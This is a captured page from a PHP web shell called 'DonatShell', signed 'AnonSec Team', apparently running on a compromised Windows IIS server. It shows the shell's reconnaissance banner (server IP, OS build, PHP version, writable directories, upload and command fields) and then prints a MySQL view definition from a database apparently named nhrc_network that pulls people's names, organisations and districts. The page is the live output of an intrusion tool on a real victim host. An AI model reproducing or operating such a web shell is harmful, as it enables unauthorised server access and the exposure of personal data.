DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /ProgramData/MySQL/MySQL Server 5.6/data/nhrc_network/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /ProgramData/MySQL/MySQL Server 5.6/data/nhrc_network/v_people2.frm
TYPE=VIEW
query=select (case when isnull(`nhrc_network`.`people`.`title`) then \'\' else `nhrc_network`.`people`.`title` end) AS `title`,(case when isnull(`nhrc_network`.`people`.`firstname`) then \'\' else `nhrc_network`.`people`.`firstname` end) AS `firstname`,(case when isnull(`nhrc_network`.`people`.`lastname`) then \'\' else `nhrc_network`.`people`.`lastname` end) AS `lastname`,`nhrc_network`.`people`.`is_activated` AS `is_activated`,(case when isnull(`nhrc_network`.`people`.`organization_id`) then 0 else `nhrc_network`.`people`.`organization_id` end) AS `organization_id`,`nhrc_network`.`people`.`joined` AS `joined`,`nhrc_network`.`people`.`district_id` AS `district_id`,`nhrc_network`.`people`.`is_nationwide` AS `is_nationwide`,\'\' AS `JOB_RUN_KEY`,\'ภาคี\' AS `SOURCE_SYSTEM_CODE`,\'people\' AS `SOURCE_TABLE_NAME`,\'N\' AS `DELETED_FLAG`,`nhrc_network`.`people`.`modified` AS `SOURCE_LAST_UPDATE_DATE_TIME`,now() AS `LAST_UPDATE_DATE_TIME` from `nhrc_network`.`people`
md5=5beebaf379424a5055fd9ce4939c9626
updatable=1
algorithm=0
definer_user=bietl
definer_host=%
suid=1
with_check_option=0
timestamp=2018-06-28 18:47:32
create-version=1
source=SELECT \n        (CASE\n            WHEN ISNULL(`people`.`title`) THEN \'\'\n            ELSE `people`.`title`\n        END) AS `title`,\n        (CASE\n            WHEN ISNULL(`people`.`firstname`) THEN \'\'\n            ELSE `people`.`firstname`\n        END) AS `firstname`,\n        (CASE\n            WHEN ISNULL(`people`.`lastname`) THEN \'\'\n            ELSE `people`.`lastname`\n        END) AS `lastname`,\n        `people`.`is_activated` AS `is_activated`,\n        (CASE\n            WHEN ISNULL(`people`.`organization_id`) THEN 0\n            ELSE `people`.`organization_id`\n        END) AS `organization_id`,\n        joined,\n        `people`.`district_id` AS `district_id`,\n        `people`.`is_nationwide` AS `is_nationwide`,\n        \'\' AS `JOB_RUN_KEY`,\n        \'ภาคี\' AS `SOURCE_SYSTEM_CODE`,\n        \'people\' AS `SOURCE_TABLE_NAME`,\n        \'N\' AS `DELETED_FLAG`,\n        `people`.`modified` AS `SOURCE_LAST_UPDATE_DATE_TIME`,\n        NOW() AS `LAST_UPDATE_DATE_TIME`\n    FROM\n        `people`
client_cs_name=utf8
connection_cl_name=utf8_general_ci
view_body_utf8=select (case when isnull(`nhrc_network`.`people`.`title`) then \'\' else `nhrc_network`.`people`.`title` end) AS `title`,(case when isnull(`nhrc_network`.`people`.`firstname`) then \'\' else `nhrc_network`.`people`.`firstname` end) AS `firstname`,(case when isnull(`nhrc_network`.`people`.`lastname`) then \'\' else `nhrc_network`.`people`.`lastname` end) AS `lastname`,`nhrc_network`.`people`.`is_activated` AS `is_activated`,(case when isnull(`nhrc_network`.`people`.`organization_id`) then 0 else `nhrc_network`.`people`.`organization_id` end) AS `organization_id`,`nhrc_network`.`people`.`joined` AS `joined`,`nhrc_network`.`people`.`district_id` AS `district_id`,`nhrc_network`.`people`.`is_nationwide` AS `is_nationwide`,\'\' AS `JOB_RUN_KEY`,\'ภาคี\' AS `SOURCE_SYSTEM_CODE`,\'people\' AS `SOURCE_TABLE_NAME`,\'N\' AS `DELETED_FLAG`,`nhrc_network`.`people`.`modified` AS `SOURCE_LAST_UPDATE_DATE_TIME`,now() AS `LAST_UPDATE_DATE_TIME` from `nhrc_network`.`people`

Anon7 - 2022
AnonSec Team